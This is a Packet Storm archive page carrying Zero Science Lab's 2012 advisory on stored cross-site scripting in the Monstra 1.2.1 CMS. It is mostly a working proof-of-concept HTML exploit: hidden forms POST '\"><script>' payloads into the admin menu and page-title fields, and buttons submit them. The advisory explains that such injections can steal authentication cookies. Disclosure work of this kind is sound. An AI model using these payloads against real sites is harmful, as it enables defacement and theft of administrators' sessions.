accept no compromises

Monstra 1.2.1 Cross Site Scripting

Monstra 1.2.1 Cross Site Scripting
Posted Aug 23, 2012
Authored by LiquidWorm | Site zeroscience.mk

Monstra version 1.2.1 suffers from cross site scripting and html injection vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | 3e5780a8dd7d49b332f248f169b5570f

Monstra 1.2.1 Cross Site Scripting

Change Mirror Download
<!DOCTYPE html>
<!--

Monstra 1.2.1 Multiple HTML Injection Vulnerabilities


Vendor: MONSTRA.ORG
Product web page: http://www.monstra.org
Affected version: 1.2.1

Summary: Monstra is fast and small content management system written
in PHP! It's free, open source and easy to use from the start!

Desc: Monstra suffers from multiple stored XSS vulnerabilities when
parsing user input to the 'menu_item_link', 'menu_item_name' and
'page_title' parameters via POST method thru 'index.php' script.
Attacker-supplied HTML or JavaScript code could run in the context
of the affected site, potentially allowing an attacker to steal
cookie-based authentication credentials, control how the site is
rendered to the user, and influence or misrepresent how Web content
is served, cached, or interpreted.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.4
MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2012-5101
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5101.php


21.08.2012

-->


<html>
<head>
<title>Monstra 1.2.1 Multiple HTML Injection Vulnerabilities</title>
</head>
<body>
<form id="add_menu" method="POST" action="http://localhost/monstra/admin/index.php?id=menu&action=add">
<input type="hidden" name="csrf" value="a7de775dce681ae31b7e8954d6305667b0df69e0" />
<input type="hidden" name="menu_add_item" value="Save" />
<input type="hidden" name="menu_item_link" value='"><script>alert(1);</script>' />
<input type="hidden" name="menu_item_name" value='"><script>alert(2);</script>' />
<input type="hidden" name="menu_item_order" value="0" />
<input type="hidden" name="menu_item_target" value="" />
</form>

<form id="add_page" method="POST" action="http://localhost/monstra/admin/index.php?id=pages&action=add_page">
<input type="hidden" name="add_page_and_exit" value="Save and exit" />
<input type="hidden" name="csrf" value="a7de775dce681ae31b7e8954d6305667b0df69e0" />
<input type="hidden" name="day" value="21" />
<input type="hidden" name="editor" value="Tojmi Sesvidja" />
<input type="hidden" name="minute" value="17" />
<input type="hidden" name="month" value="08" />
<input type="hidden" name="page_description" value="Zero Science Lab" />
<input type="hidden" name="page_keywords" value="ZSL-2012-5101" />
<input type="hidden" name="page_name" value="XSS" />
<input type="hidden" name="page_title" value='"><script>alert(3);</script>' />
<input type="hidden" name="pages" value="0" />
<input type="hidden" name="second" value="29" />
<input type="hidden" name="status" value="published" />
<input type="hidden" name="templates" value="index" />
<input type="hidden" name="year" value="2012" />
</form>

<script type="text/javascript">
function xss1(){document.forms["add_menu"].submit();}
function xss2(){document.forms["add_page"].submit();}
</script>

<input type="button" value="Execute XSS 1" onClick="xss1()" />
<br /><br />
<input type="button" value="Execute XSS 2" onClick="xss2()" />

</body>
</html>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    22 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close